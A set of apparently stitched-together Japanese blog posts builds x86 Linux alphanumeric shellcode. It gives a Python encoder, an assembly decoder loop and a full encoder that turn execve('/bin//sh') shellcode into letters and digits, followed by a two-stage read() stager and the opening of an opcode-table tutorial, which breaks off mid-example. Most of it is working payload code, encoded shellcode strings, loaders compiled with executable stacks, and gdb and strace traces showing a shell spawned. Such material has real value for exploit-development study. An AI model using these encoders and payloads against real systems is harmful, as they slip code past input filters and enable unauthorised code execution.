x86 alphanumeric shellcode encoderを書いてみる

「x86 alphanumeric shellcodeを書いてみる」では、主にxorを使いシェルコードを展開した。 ここで使わなかった命令としてcmp命令、jmp系命令、imul命令があるが、これらも使うとより短いalphanumeric shellcodeを作ることができる。 ここでは、ALPHA3エンコーダの実装を参考に、任意のシェルコードをalphanumeric shellcodeに変換するエンコーダを書いてみる。

エンコーダの概要

x86においてはjmp系命令を使うことができるため、1バイトずつデコードするループを作ることができる。 また、「x86 alphanumeric shellcodeを書いてみる」でも触れたように、alphanumericなバイト同士のxorだけでは最上位ビットが1のバイト(0x80-0xff)を作ることができない。 先のエントリではxorで必要に応じて反転させていたが、imul命令を使うとより一般的な形で任意のバイトを作ることができる。 具体的には、あるxに対してx ^ (y*0x30) ^ zの形で適当なy、zを与えることで、任意のバイトを作る。

ここでは、まず任意のシェルコードをalphanumericなバイト列に変換するエンコーダを書く。 次に、これのデコーダアセンブリコードで書き、最後にこれらを繋げて最終的なシェルコードを出力するフルエンコーダを作る。

Pythonでエンコーダを書いてみる

まずは、上で説明した方法でシェルコードを変換するエンコーダを書いてみる。

# alnum_encoder.py
import sys

first_byte = int(sys.argv[1], 16)

chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
pairs = [(y, z) for y in chars for z in chars]

data = chr(first_byte)
data += sys.stdin.read()
data += '\x00'

encoded = [0x30]
print >>sys.stderr, "[+]     %02x" % encoded[0]

for i, c in enumerate(data):
    original_byte = ord(c)
    x = encoded[i]
    for y, z in pairs:
        if (x^(y*0x30)^z) & 0xFF == original_byte:
            print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z)
            encoded += [y, z]
            break
    else:
        raise Exception("something wrong: %02x" % original_byte)

print bytearray(encoded)

このコードは標準入力からシェルコードを受け取るのと同時に、追加で生成する先頭1バイトの値を引数に取る。 この1バイトは、後述するデコーダのループ部の構築に利用する。 また、シェルコードの後にも0x00を追加している。 これは、デコーダにおけるループの終了判定に使う。

処理の内容としては、1バイトずつ総当たりで条件を満たすy, zを探索している。 ここで、計算のベースとなるxはすでにエンコード済みのバイト列から1バイトずつ順に利用している。 こうすることで、1つのバイトのエンコードのために新たに必要なバイトは2バイトとなる。

普通のシェルコードをファイルに書き出し、エンコードしてみる。

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ cat execve | python alnum_encoder.py 0x90
[+]     30
[+] 90: 33 30
[+] 31: 31 32
[+] d2: 33 72
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4c
[+] 2f: 31 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 45
[+] 6e: 31 6f
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
030123r0c0Z7L1m0C2k0X0u0U2E1o3t3C2q0a3r3A3E0r1N3m3E02

出力からわかるように、このエンコーダはnバイトの入力を2*n+5バイトに変換する。

アセンブリデコーダを書いてみる

次に、エンコードされたバイト列を元に戻すデコーダアセンブリで書いてみる。

        /* alnum_decoder.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push eax
        pop ecx

        /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */
        push 0x33333333
        .byte 0x6b, 0x34, 0x64, 0x73  /* imul esi, [esp+2*eiz], 0x73 */

decoder:
        inc esi
        imul eax, [ecx+2*esi-0x1a+0x61], 0x30
        xor al, [ecx+2*esi-0x1a+0x62]
        xor [ecx+esi+0x30], al
        .byte 0x75  /* jne decoder = 75 f0 */

data:
        /* encoded data here (offset 0x1a) */

このコードはeaxレジスタに先頭のアドレスが入っていることを前提とする。 eax以外のレジスタの場合は、最初のpush eaxに対応する1バイトを書き換えればよい。 また、最後の部分にはエンコードされたバイト列を置く。 デコーダはこれらを1バイトずつデコードしていき、0x00が出力されたタイミングでループを抜け、デコードされたシェルコードに処理を移す。

このコードは、SIBにおけるindexレジスタがesiのときのみscaleに2だけでなく1も使えることに着目し、esiをカウンタとして使う。 さらに、esiの初期値のセットにpush imm32imul esi, [esp+2*eiz], imm8を使う。 eizはSIBバイトにてscaleが0以外かつindexレジスタが存在しない場合において擬似的に表示されるレジスタ名である。 通常imul esi, [esp], imm86B 34 24 imm8アセンブルされalphanumericにならないが、意図的にこの形を用いることでalphanumericにできる。 ただし、アセンブリ構文としてeizレジスタを書くことはできないので、ここでは対応するバイト列を直接記述している。

esiの初期値を作るために必要な値は次のスクリプトを使って調べた。

# decomposite.py
import sys

target = int(sys.argv[1], 16)

chars = range(0x30, 0x3a) + range(0x40, 0x5b) + range(0x60, 0x7b)
pairs = [(x, y) for x in chars for y in chars]

for x, y in pairs:
    for i in range(0x100):
        if ((x*y) & 0xFF == 0xFF-i) and ((x*y)>>8 == i):
            x *= 0x01010101  # 0x41 => 0x41414141
            if (x*y) & 0xFFFFFFFF == target:
                print "%08x * %02x == %08x" % (x, y, x*y)

このコードは目的となる初期値を引数に取り、総当たりで条件を満たす値の組み合わせを探索する。

$ python decomposite.py 0xffffffe9
33333333 * 73 == 16ffffffe9
45454545 * 55 == 16ffffffe9
55555555 * 45 == 16ffffffe9
73737373 * 33 == 16ffffffe9

ここでは、一番上の組み合わせを利用した。

ループでは、カウンタであるesiをインクリメントしながら、対応するx, y, zを用いて1バイトずつデコードしていく。 ループの終了条件にはxorの結果が0となったときZero flagが立つことを利用し、jne命令にて分岐を行う。 ここで、jne命令の相対アドレス指定は負数となるため、この部分のバイト(0xf0)もデコーダに作らせるようにする。

アセンブルしてバイト列を確認すると、すべてalphanumericにできていることがわかる。

$ gcc -nostdlib alnum_decoder.s

$ objdump -d a.out
08048098 <_start>:
 8048098:       50                      push   eax
 8048099:       59                      pop    ecx
 804809a:       68 33 33 33 33          push   0x33333333
 804809f:       6b 34 64 73             imul   esi,DWORD PTR [esp+eiz*2],0x73

080480a3 <decoder>:
 80480a3:       46                      inc    esi
 80480a4:       6b 44 71 47 30          imul   eax,DWORD PTR [ecx+esi*2+0x47],0x30
 80480a9:       32 44 71 48             xor    al,BYTE PTR [ecx+esi*2+0x48]
 80480ad:       30 44 31 30             xor    BYTE PTR [ecx+esi*1+0x30],al
 80480b1:       75                      .byte 0x75

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 a7de8288 295ebbb2 04c34dbe e1a3eb6c  ....)^....M....l
 8048094 6dd82455                             m.$U
Contents of section .text:
 8048098 50596833 3333336b 34647346 6b447147  PYh3333k4dsFkDqG
 80480a8 30324471 48304431 3075               02DqH0D10u

$ strings -n8 a.out
PYh3333k4dsFkDqG02DqH0D10u

このshellcode decoderのサイズは26バイトである。

シェルコードにジャンプさせてみる

最初の1バイトを0xf0とした上で、普通のシェルコードをエンコードすると次のようになる。

$ cat execve | python alnum_encoder.py 0xf0
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] d2: 34 42
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4b
[+] 2f: 30 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 42
[+] 6e: 31 6e
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

第一引数に与えたシェルコードにジャンプするコードを書いてみる。

/* loader.c */

int main(int argc, char *argv[])
{
    (*(void (*)())argv[1])();
}

DEP無効にてコンパイルし、デコーダエンコード済みバイト列を繋げたものを引数として実行してみる。

$ gcc -z execstack loader.c

$ decoder=PYh3333k4dsFkDqG02DqH0D10u

$ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

$ ./a.out "$decoder$data"
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

デコーダによりシェルコードが展開され、シェルが起動できていることが確認できた。

gdbで動作を確認してみる

実行時の動作をgdbを使って調べてみる。 --argsオプションを使い、引数を与えた状態でgdbを起動する。 次に、シェルコードにジャンプする直前まで処理を進めてみる。

$ gdb -q --args a.out "$decoder$data"
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x80483b7
Starting program: /home/user/tmp/a.out PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

Temporary breakpoint 1, 0x080483b7 in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x80483b7 <main+3>:  and    esp,0xfffffff0
(gdb) disas
Dump of assembler code for function main:
   0x080483b4 <+0>:     push   ebp
   0x080483b5 <+1>:     mov    ebp,esp
=> 0x080483b7 <+3>:     and    esp,0xfffffff0
   0x080483ba <+6>:     mov    eax,DWORD PTR [ebp+0xc]
   0x080483bd <+9>:     add    eax,0x4
   0x080483c0 <+12>:    mov    eax,DWORD PTR [eax]
   0x080483c2 <+14>:    call   eax
   0x080483c4 <+16>:    leave
   0x080483c5 <+17>:    ret
End of assembler dump.
(gdb) u *main+14
0x080483c2 in main ()
1: x/i $pc
=> 0x80483c2 <main+14>: call   eax

シェルコードにジャンプし、最初の1バイトのデコード前と後の様子を調べてみる。

(gdb) si
0xbffff91e in ?? ()
1: x/i $pc
=> 0xbffff91e:  push   eax
(gdb) x/10i $pc
=> 0xbffff91e:  push   eax
   0xbffff91f:  pop    ecx
   0xbffff920:  push   0x33333333
   0xbffff925:  imul   esi,DWORD PTR [esp+eiz*2],0x73
   0xbffff929:  inc    esi
   0xbffff92a:  imul   eax,DWORD PTR [ecx+esi*2+0x47],0x30
   0xbffff92f:  xor    al,BYTE PTR [ecx+esi*2+0x48]
   0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
   0xbffff937:  jne    0xbffff969
   0xbffff939:  xor    edx,DWORD PTR [eax+0x31]
(gdb) b *0xbffff933
Breakpoint 2 at 0xbffff933
(gdb) c
Continuing.

Breakpoint 2, 0xbffff933 in ?? ()
1: x/i $pc
=> 0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
(gdb) x/2bx $ecx+$esi*2+0x47
0xbffff939:     0x33    0x50
(gdb) x/bx $ecx+$esi+0x30
0xbffff938:     0x30
(gdb) si
0xbffff937 in ?? ()
1: x/i $pc
=> 0xbffff937:  jne    0xbffff929
(gdb) x/bx $ecx+$esi+0x30
0xbffff938:     0xf0

最初jne 0xbffff969だった箇所が、デコード後jne 0xbffff929になっていることがわかる。 ここで、0xbffff929はinc esiのあるアドレスであり、ループが完成している。 これは、0x30 ^ (0x33*0x30) ^ 0x50 == 0x9f0が実行され、alレジスタに対応する0xf0が75の後に書き込まれたためである。

次のループも確認してみる。

(gdb) c
Continuing.

Breakpoint 2, 0xbffff933 in ?? ()
1: x/i $pc
=> 0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
(gdb) x/2bx $ecx+$esi*2+0x47
0xbffff93b:     0x31    0x32
(gdb) x/bx $ecx+$esi+0x30
0xbffff939:     0x33
(gdb) si
0xbffff937 in ?? ()
1: x/i $pc
=> 0xbffff937:  jne    0xbffff929
(gdb) x/bx $ecx+$esi+0x30
0xbffff939:     0x31

ここでは、0x33 ^ (0x31*0x30) ^ 0x32 == 0x931が実行され、alレジスタに対応する0x31が次の場所に書き込まれている。 これは与えたシェルコードの1バイト目である。 以降、esiをインクリメントしながら1バイトずつ書き込みが行われていき、0x00が書き込まれたタイミングでループを抜けることになる。

ブレークポイントを設定し直し、デコードされた後の様子を調べてみる。

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *0xbffff939
Breakpoint 3 at 0xbffff939
(gdb) c
Continuing.

Breakpoint 3, 0xbffff939 in ?? ()
1: x/i $pc
=> 0xbffff939:  xor    edx,edx
(gdb) x/10i $pc
=> 0xbffff939:  xor    edx,edx
   0xbffff93b:  push   edx
   0xbffff93c:  push   0x68732f2f
   0xbffff941:  push   0x6e69622f
   0xbffff946:  mov    ebx,esp
   0xbffff948:  push   edx
   0xbffff949:  push   ebx
   0xbffff94a:  mov    ecx,esp
   0xbffff94c:  lea    eax,[edx+0xb]
   0xbffff94f:  int    0x80
(gdb) c
Continuing.
process 2299 is executing new program: /bin/dash
$
[Inferior 1 (process 2299) exited normally]
(gdb) quit

0x00が書き込まれた結果ループを抜け、デコードされたシェルコードに処理が移っていることがわかる。

バッファのアドレスが入ったレジスタがない場合を考える

上で作ったデコーダはeaxレジスタに先頭アドレスが入っていることを前提としていた。 Metaploitのx86/alpha_mixedエンコーダにならい、このようなレジスタが使えない場合についても考えてみる。

call命令が直後の命令の置かれたアドレスをスタックに積むことを利用し、ecxに先頭アドレスをセットするコードを書くと次のようになる。

        /* alnum_decoder2.s */
        .intel_syntax noprefix
        .globl _start
_start:
        jmp caller
callee:
        jmp base
caller:
        call callee
base:
        pop ecx
        inc esi  /* padding */

        /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */
        push 0x33333333
        .byte 0x6b, 0x34, 0x64, 0x73  /* imul esi, [esp+2*eiz], 0x73 */

decoder:
        inc esi
        imul eax, [ecx+2*esi-0x1a+0x61], 0x30
        xor al, [ecx+2*esi-0x1a+0x62]
        xor [ecx+esi+0x30], al
        .byte 0x75  /* jne decoder = 75 f0 */

data:
        /* encoded data here (offset 0x1a) */

ここでは先に書いたコードとオフセットが一致するように、パディングを加えている。

アセンブルしてバイト列を確認してみると、次のようになる。

$ gcc -nostdlib alnum_decoder2.s

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75

$ python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75'
'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u'
>>> len(_)
35
>>>

この場合のshellcode encoderのサイズは35バイトである。 また、alphanumericなコードにはならない。

エンコード済みシェルコードと繋げ、実行させてみると次のようになる。

$ gcc -z execstack loader.c

$ decoder=$'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u'

$ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

$ ./a.out "$decoder$data"
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

call命令とpop命令によりシェルコードが置かれたアドレスが解決され、シェルが起動できていることがわかる。

フルエンコーダを書いてみる

最後に、シェルコードをエンコードした上でデコーダと繋げるフルエンコーダを書いてみる。

# alnum_encode.py
import sys

buffer_register = sys.argv[1] if len(sys.argv) > 1 else None

chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
pairs = [(y, z) for y in chars for z in chars]
regs = ['eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi']

data = '\xf0'
data += sys.stdin.read()
data += '\x00'

encoded = [0x30]
print >>sys.stderr, "[+]     %02x" % encoded[0]

for i, c in enumerate(data):
    original_byte = ord(c)
    x = encoded[i]
    for y, z in pairs:
        if (x^(y*0x30)^z) & 0xFF == original_byte:
            print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z)
            encoded += [y, z]
            break
    else:
        raise Exception("something wrong: %02x" % original_byte)

if buffer_register:
    try:
        r = regs.index(buffer_register.lower())
    except ValueError:
        raise Exception("unsupported register: %s" % buffer_register)

    # push reg; pop ecx
    print >>sys.stderr, "[+] using buffer register: %s" % buffer_register
    buf = chr(0x50+r) + 'Y'
else:
    # set ecx by using call
    print >>sys.stderr, "[+] not using buffer register"
    buf = '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYF'

buf += 'h3333k4dsFkDqG02DqH0D10u'
buf += str(bytearray(encoded))

print >>sys.stderr, "[+] encoded %d bytes => %d bytes" % (len(data)-2, len(buf))
print repr(buf)

このコードは引数にシェルコードの先頭アドレスが入っているレジスタ名を取る。 また、引数を与えなかった場合は、call命令により先頭アドレスを取得するデコーダを使う。

普通のシェルコードを入力とし、実行してみると次のようになる。

$ cat execve | python alnum_encode.py eax
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] d2: 34 42
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4b
[+] 2f: 30 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 42
[+] 6e: 31 6e
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
[+] using buffer register: eax
[+] encoded 24 bytes => 79 bytes
'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'

$ cat execve | python alnum_encode.py
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] ...
[+] 00: 30 32
[+] not using buffer register
[+] encoded 24 bytes => 88 bytes
'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'

ここで生成されたコードは、先に動作を確認したものと同じである。

関連リンク

x86 alphanumeric shellcode stagerを書いてみる

「x86 alphanumeric shellcodeを書いてみる」では、アルファベットと数字のみを使ったシェルコードでシェル起動を行った。 任意のシェルコードを実行する場合も同様にしてalphanumericな形に変換すればよいが、別の方法としてshellcode stagerを使うこともできる。 具体的には、alphanumeric shellcodeで入力を受け付け、そこに追加で送り込んだシェルコードに処理を移すことで、任意のシェルコード実行を行う。 ここでは、alphanumericなshellcode stagerを作り、任意のシェルコード実行をやってみる。

shellcode stagerを書いてみる

まずは、readシステムコールを使い標準入力からデータを読み込むshellcode stagerを書いてみる。

        /* stager.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* read(0, _start+17, 65536) */
        xor ebx, ebx
        lea edx, [ebx+1]
        shl edx, 16
        lea ecx, [esp+17]  /* assume esp = _start */
        lea eax, [ebx+3]
        int 0x80

上のコードは、実行時にespがシェルコードの先頭を指していることを前提とした上で、int 0x80の次に標準入力から読み込んだシェルコードを置くものである。

アセンブルしてバイト列に変換すると次のようになる。

$ gcc -nostdlib stager.s

$ objdump -M intel -d a.out
08048098 <_start>:
 8048098:       31 db                   xor    ebx,ebx
 804809a:       8d 53 01                lea    edx,[ebx+0x1]
 804809d:       c1 e2 10                shl    edx,0x10
 80480a0:       8d 4c 24 11             lea    ecx,[esp+0x11]
 80480a4:       8d 43 03                lea    eax,[ebx+0x3]
 80480a7:       cd 80                   int    0x80

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80

このshellcode stagerをスタック上に置き、ジャンプするプログラムを書くと次のようになる。

/* shellcode.c */

int main()
{
    char shellcode[] = "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80";
    __asm__("mov esp, %0\n\t"
            "jmp esp"
            :
            : "r" (shellcode));
}

ここでは、espにシェルコードの先頭アドレスが入るようにGNUインラインアセンブラを使っている。

GNUインラインアセンブラintel記法で解釈されるよう-masm=intelオプションを付け、DEP無効でコンパイルしてみる。 さらに、普通のシェルコードを標準入力から送り込み実行してみる。

$ gcc -masm=intel -z execstack shellcode.c

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ (cat execve; cat) | ./a.out
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

shellcode stagerが標準入力から与えたシェルコードを読み込み、シェルが起動できていることが確認できた。

straceで動作を確認してみる

straceコマンドを使い、上でシェル起動が行われるときのシステムコール呼び出しをトレースしてみる。

$ (cat execve; cat) | strace ./a.out
execve("./a.out", ["./a.out"], [/* 17 vars */]) = 0
...
read(0, "1\322Rh//shh/bin\211\343RS\211\341\215B\v\315\200", 65536) = 24
execve("/bin//sh", ["/bin//sh"], [/* 0 vars */]) = 0
...
read(0, "
[CTRL+D]
", 8192)                       = 0
exit_group(0)                           = ?

readシステムコールにより標準入力からシェルコードが読み込まれ、そのシェルコードが実行されていることが確認できる。

alphanumeric shellcodeにしてみる

「x86 alphanumeric shellcodeを書いてみる」と同様の方法で、shellcode stagerをalphanumericな形に書き換えてみる。

$ echo -en "\x31\xdb\x8d\x53\x01\xc1\xe2\x10\x8d\x4c\x24\x11\x8d\x43\x03\xcd\x80" | od -tx4z
0000000 538ddb31 10e2c101 11244c8d cd03438d  >1..S.....L$..C..<
0000020 00000080                             >.<
0000021
        /* alnum_stager.s */
        .intel_syntax noprefix
        .globl _start
_start:
        /* set buffer register to ecx */
        push eax
        pop ecx

prepare_registers:
        push 0x30
        pop eax
        xor al, 0x30
                  /* omit eax, ecx */
        push eax  /* edx = 0 */
        push eax  /* ebx = 0 */
        push eax
        push eax
        push ecx  /* esi = buffer */
        push eax
        popad
        dec edx   /* edx = 0xffffffff */

patch_ret:
        /* 0x44 ^ 0x78 ^ 0xff == 0xc3 (ret) */
        push edx
        pop eax
        xor al, 0x44
        xor [esi+0x6e], al

build_stack:
        /* push 0x80 */
        push edx
        pop eax
        xor al, 0x30
        xor al, 0x4f
        push eax

        /* push 0xcd03438d */
        push edx
        pop eax
        xor eax, 0x41303030
        xor eax, 0x73337342
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x11244c8d */
        push ebx
        pop eax
        xor eax, 0x41413430
        xor eax, 0x50657842
        push eax
        push esp
        pop ecx
        xor [ecx], dh

        /* push 0x10e2c101 */
        push ebx
        pop eax
        xor eax, 0x41444430
        xor eax, 0x51597a31
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        /* push 0x538ddb31 */
        push ebx
        pop eax
        xor eax, 0x30304141
        xor eax, 0x63426570
        push eax
        push esp
        pop ecx
        inc ecx
        xor [ecx], dh
        inc ecx
        xor [ecx], dh

        push esp

ret:
        .byte 0x78

このコードは、eaxレジスタにシェルコードの先頭アドレスが入っていることを前提とする。 eaxレジスタ以外に先頭アドレスが入っている場合は、push eaxに対応する最初の1バイトを書き換える。

アセンブルしてバイト列を確認すると、すべてアルファベットと数字にできていることが確認できる。

$ gcc -nostdlib alnum_stager.s

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 97268d23 84635593 60a48ca1 e12fbe50  .&.#.cU.`..../.P
 8048094 cc5be53b                             .[.;
Contents of section .text:
 8048098 50596a30 58343050 50505051 50614a52  PYj0X40PPPPQPaJR
 80480a8 58344430 466e5258 3430344f 50525835  X4D0FnRX404OPRX5
 80480b8 30303041 35427333 73505459 41303141  000A5Bs3sPTYA01A
 80480c8 30315358 35303441 41354278 65505054  01SX504AA5BxePPT
 80480d8 59303153 58353044 44413531 7a595150  Y01SX50DDA51zYQP
 80480e8 54594130 31413031 53583541 41303035  TYA01A01SX5AA005
 80480f8 70654263 50545941 30314130 315478    peBcPTYA01A01Tx

$ strings -n8 a.out
PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx

このシェルコードの長さは111バイトである。

できあがったシェルコードをスタック上に置き、ジャンプするプログラムを書くと次のようになる。

/* shellcode2.c */

int main()
{
    char shellcode[] = "PYj0X40PPPPQPaJRX4D0FnRX404OPRX5000A5Bs3sPTYA01A01SX504AA5BxePPTY01SX50DDA51zYQPTYA01A01SX5AA005peBcPTYA01A01Tx";
    (*(void (*)())shellcode)();
}

DEP無効でコンパイルし、最初の例と同様に普通のシェルコードを標準入力から送り込んで実行してみる。

$ gcc -z execstack shellcode2.c

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ (cat execve; cat) | ./a.out
id[ENTER]
uid=1000(user) gid=1000(user) groups=1000(user)
[CTRL+D]

alphanumericなshellcode stagerから、任意のシェルコードが実行できていることが確認できた。

関連リンク

x86 alphanumeric shellcodeを書いてみる

Linux x86環境を対象に、アルファベットと数字のみからなるシェルコードを書いてみる。 このようなシェルコードはalphanumeric shellcodeと呼ばれる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

使える命令を調べてみる

まずは、アルファベットと数字に対応するASCIIコードを調べてみる。

$ man ascii
NAME
       ascii - ASCII character set encoded in octal, decimal, and hexadecimal

DESCRIPTION
   ...

   Tables
       For convenience, let us give more compact tables in hex and decimal.

          2 3 4 5 6 7       30 40 50 60 70 80 90 100 110 120
        -------------      ---------------------------------
       0:   0 @ P ` p     0:    (  2  <  F  P  Z  d   n   x
       1: ! 1 A Q a q     1:    )  3  =  G  Q  [  e   o   y
       2: " 2 B R b r     2:    *  4  >  H  R  \  f   p   z
       3: # 3 C S c s     3: !  +  5  ?  I  S  ]  g   q   {
       4: $ 4 D T d t     4: "  ,  6  @  J  T  ^  h   r   |
       5: % 5 E U e u     5: #  -  7  A  K  U  _  i   s   }
       6: & 6 F V f v     6: $  .  8  B  L  V  `  j   t   ~
       7: ´ 7 G W g w     7: %  /  9  C  M  W  a  k   u  DEL
       8: ( 8 H X h x     8: &  0  :  D  N  X  b  l   v
       9: ) 9 I Y i y     9: ´  1  ;  E  O  Y  c  m   w
       A: * : J Z j z
       B: + ; K [ k {
       C: , < L \ l |
       D: - = M ] m }
       E: . > N ^ n ~
       F: / ? O _ o DEL

上の表から、0-9, A-Z, a-zがそれぞれ0x30-0x39, 0x41-0x5a, 0x61-0x7aに対応していることがわかる。 これをもとにx86のオペコードテーブルを見ると、次のような命令が使えることがわかる。

30      XOR r/m8 r8
31      XOR r/m16/32 r16/32
32      XOR r8 r/m8
33      XOR r16/32 r/m16/32
34      XOR AL imm8
35      XOR eAX imm16/32
38      CMP r/m8 r8
39      CMP r/m16/32 r16/32
40+r    INC r16/32    (except for eax)
48+r    DEC r16/32
50+r    PUSH r16/32
58+r    POP r16/32    (only for eax, ecx, edx)
61      POPAD
68      PUSH imm16/32
69      IMUL r16/32 r/m16/32 imm16/32
6a      PUSH imm8
6b      IMUL r16/32 r/m16/32 imm8
70-7a   JO/JNO/JB/JNB/JZ/JNZ/JNA/JA/JS/JNS/JP rel8

ここで、r8はalなどの8ビットレジスタ(register)、imm8は0x41などの8ビット即値(immediate value)、r/m8は8bitアドレッシングモード指定(register or memory)、rel8は8ビット相対アドレス指定(relative address)を意味する。 アドレッシングモード指定とは、[eax+0x4][ecx+2*eax+0x4]のような指定のことである。

また、x86においてレジスタはeax, ecx, edx, ebx, esp, ebp, esi, ediの順で扱われる。 そのため、inc命令はeaxレジスタには使えない。 なぜなら、対応するオペコードが0x40 (@) となりアルファベットにならないためである。 同様の理由により、pop命令に使えるレジスタはeax, ecx, edxのみとなる。

xor命令についてはさまざまな指定が可能である。 ここでは、次の3つのパターンを利用する。 r/m8の指定に使うModR/Mバイト、SIBバイトについては次のページが参考になる。

$ echo "xor eax, 0x41424344" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 35444342      xor eax,0x41424344
   1      41
35 = XOR eAX imm16/32
44 43 42 41 = imm32
$ echo "xor [ecx], dh" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 3031          xor [ecx],dh
30 = XOR r/m8 r8
31 = 00110001
     mod = 00 ([reg])
     reg = 110 (dh)
     r/m = 001 (ecx)
$ echo "xor [esi+2*ecx+0x41], al" | as -msyntax=intel -mnaked-reg -aln -o /dev/null
   1 0000 30444E41      xor [esi+2*ecx+0x41],al
30 = XOR r/m8 r8
44 = 01000100
